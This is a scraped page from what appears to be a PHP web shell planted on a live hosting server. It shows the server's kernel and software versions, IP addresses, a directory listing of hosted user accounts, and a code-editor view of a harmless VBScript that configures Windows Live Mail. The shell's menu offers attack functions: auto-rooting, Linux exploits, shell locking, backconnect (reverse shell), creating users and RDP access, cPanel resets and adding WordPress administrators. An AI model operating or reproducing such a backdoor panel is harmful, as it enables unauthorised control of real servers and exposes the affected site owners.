Linux server.kiran-academy.com 3.10.0-1160.108.1.el7.x86_64 #1 SMP Thu Jan 25 16:17:31 UTC 2024 x86_64
Apache/2.4.57 (Unix) OpenSSL/1.0.2k-fips
: 194.233.91.196 | : 216.73.216.216
Cant Read [ /etc/named.conf ]
7.4.32
finalho
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
usr /
local /
cwpsrv /
var /
services /
users /
[ HOME SHELL ]
Name
Size
Permission
Action
agrosur
[ DIR ]
drwxr-xr-x
appange
[ DIR ]
drwxr-xr-x
aqurias
[ DIR ]
drwxr-xr-x
asgrowt
[ DIR ]
drwxr-xr-x
camanis
[ DIR ]
drwxr-xr-x
cwp_branding
[ DIR ]
drwxr-xr-x
cwp_lang
[ DIR ]
drwxr-xr-x
cwp_theme
[ DIR ]
drwxr-xr-x
dishaek
[ DIR ]
drwxr-xr-x
finalho
[ DIR ]
drwxr-xr-x
galigam
[ DIR ]
drwxr-xr-x
galinig
[ DIR ]
drwxr-xr-x
gramin
[ DIR ]
drwxr-xr-x
hindayu
[ DIR ]
drwxr-xr-x
iconser
[ DIR ]
drwxr-xr-x
jantapa
[ DIR ]
drwxr-xr-x
kiyan
[ DIR ]
drwxr-xr-x
kiyanch
[ DIR ]
drwxr-xr-x
login
[ DIR ]
drwxr-xr-x
mbachaiw
[ DIR ]
drwxr-xr-x
meenaks
[ DIR ]
drwxr-xr-x
mulberry
[ DIR ]
drwxr-xr-x
newguruk
[ DIR ]
drwxr-xr-x
nextech
[ DIR ]
drwxr-xr-x
niks
[ DIR ]
drwxr-xr-x
ravinde
[ DIR ]
drwxr-xr-x
ravinder
[ DIR ]
drwxr-xr-x
rksolut
[ DIR ]
drwxr-xr-x
rubicay
[ DIR ]
drwxr-xr-x
superch
[ DIR ]
drwxr-xr-x
swastik
[ DIR ]
drwxr-xr-x
teamman
[ DIR ]
drwxr-xr-x
traits
[ DIR ]
drwxr-xr-x
vgzdjiof
[ DIR ]
drwxr-xr-x
vibez
[ DIR ]
drwxr-xr-x
Authenticator.php
11.8
KB
-rw-r--r--
codeEditor.php
46.64
KB
-rw-r--r--
configmailclient
9.61
KB
-rw-r--r--
fileManager2.php
542.48
KB
-rw-r--r--
fileManager_v2.php
97.34
KB
-rw-r--r--
index.php
16.2
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : configmailclient
' {{FileName}} ' ' This script will setup an Email account in Windows Live Mail ' ' {{DateCreated}} - Initial write. Option Explicit Dim strIncServerAddress, strOutServerAddress, strServerMailPort, strAccount, strSecureConnection, strFolderNotFoundText, _ strProgramNotFoundText, strCloseText, boolPop, strServerSmtpPort, strFileNotFoundText, boolArchive ' ************************************************************************* ' Configurable Variables ' ************************************************************************* strIncServerAddress = "{{strIncServerAddress}}" ' This is the address for the mail server strOutServerAddress = "{{strOutServerAddress}}" ' This is the address for the mail server strServerMailPort = "{{strServerMailPort}}" ' The port on the server to which to connect ' Imap: Secure = 000003e1 Unsecure = 0000008f ' Pop: Secure = 000003e3 Unsecure = 0000006e strAccount = "{{strAccount}}" ' Mail account to connect as strSecureConnection = "{{strSecureConnection}}" ' Use a secure connection - 00000001 for true, 00000000 for false strCloseText = "Please close Windows Live Mail before continuing." strFolderNotFoundText = "Windows Live Mail may not be installed; the following directory was not found:" strProgramNotFoundText = "Windows Live Mail may not be installed; the following file was not found:" strFileNotFoundText = "File not found." strServerSmtpPort = "{{strServerSmtpPort}}" ' Smtp port on the server boolPop = {{boolPop}} ' Whether to setup Imap or Pop boolArchive = False ' Whether or not to use the special folders ' ************************************************************************* ' Write out the Account File for Windows Live Mail ' ************************************************************************* Function WriteFile Dim objShell, objFSO, objAccountFile, strBaseFilePath, strFullFilePath ' Generate a first file name for the account file Set objShell = CreateObject("WScript.Shell") strBaseFilePath = objShell.ExpandEnvironmentStrings("%USERPROFILE%\AppData\Local\Microsoft\Windows Live Mail") Set objFSO = CreateObject("Scripting.FileSystemObject") If objFSO.FolderExists(strBaseFilePath) = False Then MsgBox strFolderNotFoundText & ": " & strBaseFilePath, 16, strFileNotFoundText Set objShell = Nothing WScript.Quit End if strFullFilePath = GenerateAccountFileName(strBaseFilePath) ' See if the account file already exists and keep trying new ones until we find one that isn't there Do While objFSO.FileExists(strFullFilePath) strFullFilePath = GenerateAccountFileName(strBaseFilePath) Loop ' Write the account file Set objAccountFile = objFSO.CreateTextFile(strFullFilePath, False) objAccountFile.WriteLine "<?xml version=""1.0"" encoding=""utf-8"" ?>" objAccountFile.WriteLine "<MessageAccount>" objAccountFile.WriteLine " <Account_Name type=""SZ"">" & strAccount & "</Account_Name>" objAccountFile.WriteLine " <Connection_Type type=""DWORD"">00000003</Connection_Type>" If boolPop = True Then objAccountFile.WriteLine " <POP3_Server type=""SZ"">" & strIncServerAddress & "</POP3_Server>" objAccountFile.WriteLine " <POP3_User_Name type=""SZ"">" & strAccount & "</POP3_User_Name>" objAccountFile.WriteLine " <POP3_Use_Sicily type=""DWORD"">00000000</POP3_Use_Sicily>" objAccountFile.WriteLine " <POP3_Port type=""DWORD"">" & strServerMailPort & "</POP3_Port>" objAccountFile.WriteLine " <POP3_Secure_Connection type=""DWORD"">" & strSecureConnection & "</POP3_Secure_Connection>" objAccountFile.WriteLine " <Leave_Mail_On_Server type=""DWORD"">00000001</Leave_Mail_On_Server>" objAccountFile.WriteLine " <Remove_When_Deleted type=""DWORD"">00000001</Remove_When_Deleted>" objAccountFile.WriteLine " <POP3_Prompt_for_Password type=""DWORD"">00000001</POP3_Prompt_for_Password>" objAccountFile.WriteLine " <POP3_Use_APOP type=""DWORD"">00000000</POP3_Use_APOP>" Else objAccountFile.WriteLine " <IMAP_Server type=""SZ"">" & strIncServerAddress & "</IMAP_Server>" objAccountFile.WriteLine " <IMAP_User_Name type=""SZ"">" & strAccount & "</IMAP_User_Name>" objAccountFile.WriteLine " <IMAP_Port type=""DWORD"">" & strServerMailPort & "</IMAP_Port>" objAccountFile.WriteLine " <IMAP_Secure_Connection type=""DWORD"">" & strSecureConnection & "</IMAP_Secure_Connection>" objAccountFile.WriteLine " <IMAP_Timeout type=""DWORD"">0000003c</IMAP_Timeout>" objAccountFile.WriteLine " <IMAP_Polling type=""DWORD"">00000001</IMAP_Polling>" objAccountFile.WriteLine " <IMAP_Prompt_for_Password type=""DWORD"">00000001</IMAP_Prompt_for_Password>" objAccountFile.WriteLine " <IMAP_Dirty type=""DWORD"">00000000</IMAP_Dirty>" objAccountFile.WriteLine " <IMAP_Poll_All_Folders type=""DWORD"">00000001</IMAP_Poll_All_Folders>" objAccountFile.WriteLine " <IMAP_XLIST_Migration_Done type=""DWORD"">00000001</IMAP_XLIST_Migration_Done>" If boolArchive = True Then objAccountFile.WriteLine " <IMAP_Svr-side_Special_Folders type=""DWORD"">00000000</IMAP_Svr-side_Special_Folders>" objAccountFile.WriteLine " <IMAP_XLIST_Sent_Items type=""DWORD"">00000000</IMAP_XLIST_Sent_Items>" objAccountFile.WriteLine " <IMAP_XLIST_Drafts type=""DWORD"">00000000</IMAP_XLIST_Drafts>" objAccountFile.WriteLine " <IMAP_XLIST_Deleted_Items type=""DWORD"">00000000</IMAP_XLIST_Deleted_Items>" objAccountFile.WriteLine " <IMAP_XLIST_Junk_E-mail type=""DWORD"">00000000</IMAP_XLIST_Junk_E-mail>" Else objAccountFile.WriteLine " <IMAP_Svr-side_Special_Folders type=""DWORD"">00000001</IMAP_Svr-side_Special_Folders>" objAccountFile.WriteLine " <IMAP_XLIST_Sent_Items type=""DWORD"">00000001</IMAP_XLIST_Sent_Items>" objAccountFile.WriteLine " <IMAP_XLIST_Drafts type=""DWORD"">00000001</IMAP_XLIST_Drafts>" objAccountFile.WriteLine " <IMAP_XLIST_Deleted_Items type=""DWORD"">00000001</IMAP_XLIST_Deleted_Items>" objAccountFile.WriteLine " <IMAP_XLIST_Junk_E-mail type=""DWORD"">00000001</IMAP_XLIST_Junk_E-mail>" End if End if objAccountFile.WriteLine " <SMTP_Server type=""SZ"">" & strOutServerAddress & "</SMTP_Server>" objAccountFile.WriteLine " <SMTP_Use_Sicily type=""DWORD"">00000002</SMTP_Use_Sicily>" objAccountFile.WriteLine " <SMTP_Port type=""DWORD"">" & strServerSmtpPort & "</SMTP_Port>" objAccountFile.WriteLine " <SMTP_Secure_Connection type=""DWORD"">" & strSecureConnection & "</SMTP_Secure_Connection>" objAccountFile.WriteLine " <SMTP_Display_Name type=""SZ"">" & strAccount & "</SMTP_Display_Name>" objAccountFile.WriteLine " <SMTP_Email_Address type=""SZ"">" & strAccount & "</SMTP_Email_Address>" objAccountFile.WriteLine "</MessageAccount>" objAccountFile.Close ' Clean up Set objAccountFile = Nothing Set objFSO = Nothing Set objShell = Nothing End Function ' ************************************************************************* ' Generates a new Windows Live Mail account file name ' ************************************************************************* Function GenerateAccountFileName(strBasePath) GenerateAccountFileName = strBasePath & "\account" & NewGuid & ".oeaccount" End Function ' ************************************************************************* ' Returns a new guid in brace notation e.g. {00000000-0000-0000-0000-000000000000} ' ************************************************************************* Function NewGuid Dim TypeLib Set TypeLib = CreateObject("Scriptlet.TypeLib") NewGuid = Left(TypeLib.Guid, 38) End Function ' ************************************************************************* ' Warns the user if Windows Live Mail is in the process list and exits if so ' ************************************************************************* Function WarnIfWindowsLiveMailIsRunning Do While IsWindowsLiveMailRunning = True Dim return return = MsgBox(strCloseText, 49) If return = vbCancel Then WScript.Quit End if WScript.Sleep 5000 ' Sleep for 5 seconds Loop End Function Function IsWindowsLiveMailRunning Dim objShell, objWmiService, objProcessList, boolFound ' See if Windows Live Mail is running boolFound = False Set objShell = CreateObject("WScript.Shell") Set objWmiService = GetObject("winmgmts:{impersonationLevel=impersonate}!\\.\root\cimv2") Set objProcessList = objWmiService.ExecQuery ( _ "Select * from Win32_Process where Name = 'wlmail.exe'") If objProcessList.Count >= 1 Then boolFound = True End if ' Clean up Set objWmiService = Nothing Set objProcessList = Nothing Set objShell = Nothing IsWindowsLiveMailRunning = boolFound End Function ' ************************************************************************* ' Launches Windows Live Mail ' ************************************************************************* Function LaunchWindowsLiveMail Dim objShell, objFSO, strLiveMailPath ' Start Windows Live Mail Set objShell = CreateObject("WScript.Shell") strLiveMailPath = objShell.ExpandEnvironmentStrings( _ "%PROGRAMFILES(x86)%\Windows Live\Mail\wlmail.exe") Set objFSO = CreateObject("Scripting.FileSystemObject") If objFSO.FileExists(strLiveMailPath) = False Then strLiveMailPath = objShell.ExpandEnvironmentStrings( _ "%PROGRAMFILES%\Windows Live\Mail\wlmail.exe") If objFSO.FileExists(strLiveMailPath) = False Then MsgBox strProgramNotFoundText & ": " & strLiveMailPath, 16, strFileNotFoundText Set objShell = Nothing WScript.Quit End if End if objShell.Run("""" & strLiveMailPath & """") Set objShell = Nothing Set objFSO = Nothing End Function WarnIfWindowsLiveMailIsRunning WriteFile LaunchWindowsLiveMail
Close